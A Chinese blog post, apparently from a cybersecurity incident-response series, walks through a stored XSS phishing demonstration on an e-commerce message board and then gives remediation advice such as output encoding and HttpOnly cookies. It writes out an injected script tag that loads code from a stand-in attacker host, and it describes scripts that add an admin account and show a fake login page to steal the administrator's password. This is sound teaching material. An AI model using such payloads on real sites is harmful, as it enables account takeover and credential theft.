【愚公系列】2024年03月 《网络安全应急管理与技术实践》 013-网络安全应急技术与实践(Web层-XSS钓鱼攻击)

举报
愚公搬代码 发表于 2024/03/31 18:37:19 2024/03/31
【摘要】 🏆 作者简介,愚公搬代码🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。🏆《博客内容...

🏆 作者简介,愚公搬代码
🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。
🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。
🏆《博客内容》:.NET、Java、Python、Go、Node、前端、IOS、Android、鸿蒙、Linux、物联网、网络安全、大数据、人工智能、U3D游戏、小程序等相关领域知识。
🏆🎉欢迎 👍点赞✍评论⭐收藏

🚀前言

XSS(跨站脚本)是一种常见的网络攻击技术,攻击者通过在受害者的网页中注入恶意脚本,来获取用户的敏感信息或执行恶意操作。因此,XSS高级钓鱼指的是通过XSS攻击手段来进行钓鱼行为,即通过在网页中注入恶意代码,并伪装成合法的网站或登录页面,从而诱使用户输入敏感信息。

🚀一、XSS 高级钓鱼手段分析与应急处置

XSS(跨站脚本)漏洞是一种常见的Web应用程序安全漏洞,由于对用户输入的过滤不足而产生。攻击者通过利用这个漏洞,将恶意的脚本代码注入到网页中。当其他用户浏览这些网页时,恶意代码会被执行。该漏洞可能造成的危害包括:网络钓鱼,盗取各类用户账号;窃取用户的cookie信息,获取用户的隐私信息或利用用户的身份对网站进行进一步操作;劫持用户浏览器会话,执行任意操作,如非法转账、强制发表日志、发送电子邮件等;强制弹出广告页面、恶意下载等;进行恶意操作,如篡改页面信息、删除文件等;进行大量的客户端攻击,如DDOS攻击;网站挂马;获取客户端信息,如用户的浏览记录、真实IP地址、开放端口等。XSS攻击可分为两种类型。

跨站脚本攻击(XSS)可分为存储型和反射型两种类型。

  1. 存储型跨站脚本攻击(持久性XSS):
    漏洞形式:Web应用程序允许用户输入内容,并将其持久保存并显示在网页上。
    攻击方式:攻击者利用跨站漏洞构建恶意脚本,对大量用户构成危害。
    典型案例:留言板、论坛、博客、wiki等。

  2. 反射型跨站脚本攻击(非持久性XSS):
    漏洞形式:反射型攻击的脚本通常存储在URL中。
    攻击方式:攻击者构造好的URL发送给受害者,诱导其打开中招。
    典型案例:收到陌生人发送的长链接,如QQ收到此类链接。

本节将以电子商务网站为例进行XSS攻击过程的演示和分析。

🔎1.利用 XSS 漏洞的钓鱼攻击

如前所述,如果用户可以在网页上输入脚本代码并提交执行,那么就可存在 XSS 漏洞。例如,已知网站的留言板存在存储型 XSS 漏洞,攻击者鸢以输入“留言内容”,如图所示。
在这里插入图片描述
可见,如果留言内容中的脚本被成功提交,则查看该留言内容的用户便会触发 www.hacker.com:8080/XSS/inj.js 的运行,而 inj.js 可以是攻击者的任何恶意代码,本示例中的 inj.js中的代码将会新建一个管理员用户。这段代码一旦被执行,就会创建一个管理员用户,接下来攻击者就像守株待免一样等待有人点击这条留言,让这段代码执行。所以,这段留言必须有诱惑力,诱使别人点击才能保证攻击的成功率,因此XSS钓鱼攻击通常会抓住目标人群的喜好、心理等特征有的放矢地放下诱饵,等待鱼儿上钩。

本实验中,管理员日常工作中会通过管理员账号登录后台查看留言,当他看到该用户的留言,点击查看留言具体内容时,便发生了XSS攻击,如图所示。
在这里插入图片描述
留言内容中的代码被执行后,将自动添加一个新的管理员用户admin1
在这里插入图片描述
攻击者如何知道管理员账号被添加成功了呢?当然,攻击者得像钓鱼的渔翁一样装上“鱼鳔”,当XSS攻击的脚本被执行成功后,攻击者会收到执行成功的信息,这时,攻击者就可以通过新建的admin1账号(使用之前设置的密码)登录管理后台了。

🔎2.高级钓鱼攻防

攻击者编写钓鱼留言,并且提交的留言中包含了恶意的跨站代码,该恶意代码构造了一个跟真实网站一模一样的页面,并诱导用户输入敏感信息,如用户名和口令,这就是典型的钓鱼攻击。攻击过程演示如下。

(1)攻击者编写了恶意代码ij.php,将其注入留言内容中:“我上个展期在你们这里买的索爱读卡器,<scriptsrc=http://www,hacker.com:8080/phishimj.php></script>让朋友也看了看,确认是不能用!怎么回事?”如图所示
在这里插入图片描述
(2)当管理员登录后台查看“会员留言”时看到了攻击者的留言,点击查看留言后,会弹出警告信息“请求超时,请重新登录”,如图所示。
在这里插入图片描述
(3)管理员以为真的是登录超时,单击“确定”按钮后,页面跳转到登录界面,该界面是个“钓鱼”界面,与真正的管理后台录界面一样,说这种手段是“高级钓鱼”的原因之一就体现在这里,就连地址栏的地址也是正常网站的地址,欺骗性非常高,如图所示。受害者完全没有察觉被攻击了,但是当受害者在界面中输入姓名和密码并提交后,这些敏感信息就都被攻击者获取了
在这里插入图片描述
(4)攻击者在其钓鱼网站的后台可以查看刚刚盗取的电子商务网站的管理员账号和密码,如图所示。
在这里插入图片描述
当弹出超时消息窗口时,管理员应该有所察觉。的确如果管理员一直在操作这个网站,却突然弹出超时,就应该怀疑,但是管理如果不了解钓鱼攻击手法,因为急于查看消息往往就会立即关闭窗口而没有多想。当觉得不对劲,但再次点击该留言时,就不弹出超时消息了,攻击者为么这样设计呢?这是因为攻击者为了避免出现重复钓鱼现象而被管理员发现特别做的“防范”措施。这便是该钓鱼手法的一个“高级”之处。

🔎3.高级钓鱼手法分析

通过以上钓鱼过程的分析得知,由于管理员查看留言的界面没有对用户提交的内容进行编码输出,当管理员单击一次留言后,会生成一个Cookie 字段,并标识为1,当管理员再查看留言时,脚本会判断该字段是否存在,如果Cookie存在就不再进行钓鱼,避免出现重复钓鱼现象,而引起管理员的怀疑。

我们知道 Cookie 是保存在用户浏览器中的,因此,若想判断是否被钓鱼可以先清空浏览器缓存,当再次访问该页面时,如果再次出现重新登录界面则表示已被钓鱼攻击。

🔎4.XSS 漏洞应急处置

我们知道,XSS 攻击实现的方法就是向页面(如留言区、评论区、URL地址栏等)注入脚本代码(如Htm1、js代码)。所以,针对XSS 攻击的应急处置,需要从根本上进行漏洞修复,通常的XSS 漏洞修复建议如下。

(1)对所有用户提交的内容进行可靠的输入验证,对用户输入的数据包括URL、关键字、htp 头、POST 数据等内容规定在合法范围内或根据输入数据的HTML上下文(包括主体、属性、JavaScript、CSS、URL等)对所有不可信数据进行恰当的转义(escape)。

(2)如果应用系统必须支持允许用户提交 html 代码,那么就要确认应用程序所接受的 html内容被妥善地格式化,去掉任何对远程内容的引用(尤其样式表和 JavaScript),并使用 HttpOnly 的 Cookie。

针对上文中的钓鱼攻击,可根据建议(1)把留言内容进行 html编码输出这样留言就不会被当成代码执行。如图所示
在这里插入图片描述

将漏洞修补文件上传到对var/www/shop/temp/compled/admin目录下。

查看修补后的网站留言时,会发现这条留言被编码输出,此时管理员便发现网页留言区被注入了代码,但钓鱼攻击并没有成功,如图所示
在这里插入图片描述


🚀感谢:给读者的一封信

亲爱的读者,

我在这篇文章中投入了大量的心血和时间,希望为您提供有价值的内容。这篇文章包含了深入的研究和个人经验,我相信这些信息对您非常有帮助。

如果您觉得这篇文章对您有所帮助,我诚恳地请求您考虑赞赏1元钱的支持。这个金额不会对您的财务状况造成负担,但它会对我继续创作高质量的内容产生积极的影响。

我之所以写这篇文章,是因为我热爱分享有用的知识和见解。您的支持将帮助我继续这个使命,也鼓励我花更多的时间和精力创作更多有价值的内容。

如果您愿意支持我的创作,请扫描下面二维码,您的支持将不胜感激。同时,如果您有任何反馈或建议,也欢迎与我分享。

在这里插入图片描述

再次感谢您的阅读和支持!

最诚挚的问候, “愚公搬代码”

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。